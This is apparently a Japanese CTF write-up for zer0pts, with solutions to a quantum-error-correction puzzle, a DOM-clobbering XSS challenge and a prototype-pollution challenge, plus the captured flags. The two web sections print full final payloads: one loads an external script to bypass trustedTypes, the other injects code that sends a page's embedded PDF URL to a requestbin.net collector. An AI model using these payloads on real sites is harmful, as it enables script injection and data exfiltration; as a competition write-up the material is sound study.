zer0pts{7h4nk_y0u_j4ck_7h4nk_y0u_cr0wn}
Tokyo Network (Misc, 340pts)
与えられた回路に量子エラー訂正を適用することでノイズを取り除くことができる。組む回路によっていくつかとりうる情報が考えうるのであとは論理パズル。
問題整理
860bitの一様ランダムなビット列 ra と、やや0に偏った (p≒0.587) ビット列 ba がある。
まず、量子計算を行ってビットごとに1ビットの結果を得ることができる。現状思いついている操作は以下の通り。
- baにかかわらずraを
の確率で正しく得る、そうでないときは逆の値を得る
- baが0ならばraを確実に得る、1ならば一様ランダムな値を得る
- baが1ならばraを確実に得る、0ならば一様ランダムな値を得る
以上をビットごとに切り替えることができる。情報はすべてのビットに関して処理を行ったあと、一括で得られる。
この上で、ユーザーは860bitのビット列bbを与える。bbは以下の条件を満たしている必要がある。
- baとbbがともに1であるようなビット (=Nx) の数が126以上
- baとbbがともに0であるようなビット (=Nz) の数が255以上
この操作のあと、Nzから128ビットがランダムに選ばれる。これをkとする。
その後、以下の情報が得られる。
- ba
- baとbbとraがすべて1であるようなビットの位置
- Nzのうちkに選ばれなかったビットの位置
最後に、raをkでマスクしたものを鍵として、フラグを暗号化したものが与えられる。
ゲートの構成法
(Written by @azaika)
量子エラー訂正については
https://en.wikipedia.org/wiki/Quantum_error_correction#Shor_code
と
https://en.wikipedia.org/wiki/Toffoli_gate#Related_logic_gates
を組み合わせれば OK。
CCNOT x,y,z を以下で定める
H z; CNOT y,z; TDAG z; CNOT x,z; T z; CNOT y,z; TDAG z; CNOT x,z; T y; T z; CNOT x,y; H z; T x; TDAG y; CNOT x,y;
これを用いて量子エラー訂正のデコードパートは
CNOT 0,1; CNOT 0,2; CCNOT 1,2,0; CNOT 3,4; CNOT 3,5; CCNOT 4,5,3; CNOT 6,7; CNOT 6,8; CCNOT 7,8,6; H 0; H 3; H 6; CNOT 0,3; CNOT 0,6; CCNOT 3,6,0;
と表せる。
その後の ba と ra についての操作は以下の通り。
- baにかかわらずraを
の確率で正しく得る、そうでないときは逆の値を得る
- エラー訂正後
SDAG 0; H 0; T 0; H 0; S 0; H 0;
- エラー訂正後
- baが0ならばraを確実に得る、1ならば一様ランダムな値を得る
- エラー訂正だけで良い
- baが1ならばraを確実に得る、0ならば一様ランダムな値を得る
- エラー訂正後
H 0
- エラー訂正後
解法
ナン「0 と 1 を 255 : 126 の割合でランダムに入れた列 bb を使い、全 bit について「baが0ならばraを確実に得る、1ならば一様ランダムな値を得る」とする。
全部の後で ba が 0 なる bit については ra がわかっているので、マスク後に残る bit についてすべて判明している」
zer0pts{Sh0r_c0d3+BB84_QKB=5t1ll_53cur3?}
ソルバ: https://gist.github.com/hakatashi/5e9a64c42493a33425605cfde4deecf3
Simple Blog (Web, 192pts)
DOM Clobbering でcallbackオプションを突っ込むことができる。このままだとtrustedTypesがURL読み込みを検知して停止してしまうが、Firefoxではpolyfillが動いているので同じく DOM Clobbering で事前にtrustedTypesを定義してあげることでpolyfill読み込みを回避できる。あとは20文字制限にかからないようにJSゴルフをするのだが、都合よくjsonp関数が使えるので、三度 DOM Clobbering で定義してあげたURLをわたしてあげると勝ち。
dynamic import 使えるの知らなかった⋯⋯。
最終ペイロード:
http://web.ctf.zer0pts.com:8003/?theme=%22%3E%3Cform%20id%3D%22trustedTypes%22%3E%3Cinput%20name%3D%22defaultPolicy%22%20value%3D%221%22%3E%3C%2Fform%3E%3Ca%20id%3D%22title%22%20href%3D%22https%3A%2F%2Fhakatashi.com%2Fxss.js%3Ffuga%22%3E%3C%2Fa%3E%3Ca%20id%3D%22callback%22%20href%3D%22a%3Ajsonp(title)%3B%22%20b%3D%22
zer0pts{1_w4nt_t0_e4t_d0m_d0m_h4mburger_s0med4y}
PDF Generator (Web, 214pts)
@kcz146にbundle.jsを渡すと prototype pollution を見つけてくれるので悪用する。Vue.jsが明らかに怪しいので Vue 2 であることを確認したあと適当にハックしてevalする。ページが読み込まれたあとPDFが読み込まれると削除されてしまうので間に合わないように見えるが、embedされたページはDOMContentLoadedイベントのあと削除されるのでその前にembedを消せば間に合う。あとはがんばる。
あと一時間あればたぶん Not PDF Generator も解けたので悔しい。
最終ペイロード:
https://pdfgen.ctf.zer0pts.com:8443/text?a[b[__proto__[model[value=this.constructor.constructor(%27u%3Ddocument.getElementsByTagName(%22embed%22)%5B0%5D.src%3Bdocument.body.removeChild(document.getElementsByTagName(%22embed%22)%5B0%5D)%3Blocation.href%3D%22http%3A%2F%2Frequestbin.net%2Fr%2F4hg9abge%2F%22%2Bu%27)()&text=hoge
zer0pts{4fraid_of_unintended)_D0nt_w4nn4_l3ak_1nf0_about_s0lut1on}